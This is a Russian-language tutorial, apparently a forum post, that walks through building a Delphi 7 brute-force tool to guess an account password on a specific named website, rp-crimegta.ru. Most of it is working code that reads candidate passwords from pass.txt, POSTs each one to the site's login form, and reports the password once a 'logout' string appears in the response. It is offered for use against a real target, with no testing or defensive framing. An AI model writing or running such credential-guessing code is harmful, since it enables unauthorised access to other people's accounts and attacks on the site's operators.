Брут

[hottabych1607]

Сейчас мы сделаем с вами БРУТ программу, которая будет подбирать пароль на сайт: rp-crimegta.ru​

Для начало зайдем непосредственно в Delphi 7, и сразу сохраним приложение в какуй нибудь папку (Ctrl+Shift+S)
После в этой же папке где мы сохранили свое приложение создаем ".txt" файл с названием "pass"

И так начнем...

1) Добавим переменные    i:Integer;    p,info,txt:TStringList;     s:string;
2) Добавим на форму компоненты: IdHTTP, Button, Memo
3) После Begin пишем: 

  p:=TStringList.Create; //Связываем с переменной "p" визуальный список 
  info:=TStringList.Create; //Связываем с переменной "info" визуальный список
  txt:=TStringList.Create; //Связываем с переменной "txt" визуальный список
  txt.LoadFromFile('pass.txt'); //Загружаем в список переменной "txt" то, что у нас есть в файле pass.txt
  for i:=0 to txt.Count -1 do //Создаем/Запускаем ЦИКЛ
  begin
    info.Add('login_name=ЛОГИН'); //Добавляем в список переменной "info" текст: login_name=ЛОГИН
    info.Add('login_password='+txt.Strings[i]); //Добавляем в список переменной "info" текст: login_password=
    info.Add('login=submit'); //Добавляем в список переменной "info" текст: login=submit
    p.Text:=Form1.IdHTTP1.Post('http://www.rp-crimegta.ru/index.php',info); //Отправляем POST запрос на сайт rp-crimegta.ru, с атрибутами текста, из переменной "info"
    if Pos('logout',p.Text)>0 then //Если после отправки атрибутов, в HTML тексте появилась надпись logout, то
    begin
      Form1.Memo1.Lines.Add(txt.Strings[i]+': +');//В Memo1 после найденного пароля добавляется знак "+"
      s:=txt.Strings[i];//В переменную "s" записывается пароль
      MessageDlg('Пароль найден: '+s,mtInformation,[mbOK],0);//Выводится сообщение с тем что пароль найден
      Break;//Остановить ЦИКЛ
    end

    else // Иначе
    begin
      Form1.Memo1.Lines.Add(txt.Strings[i]+': -');//В Memo1 после паролей будет знак ""
    end;


  end;
  Memo1.Clear; //Очистить Memo1

И после всего этого в файл pass.txt добавляем разные пароли которые будут применяется в бруте!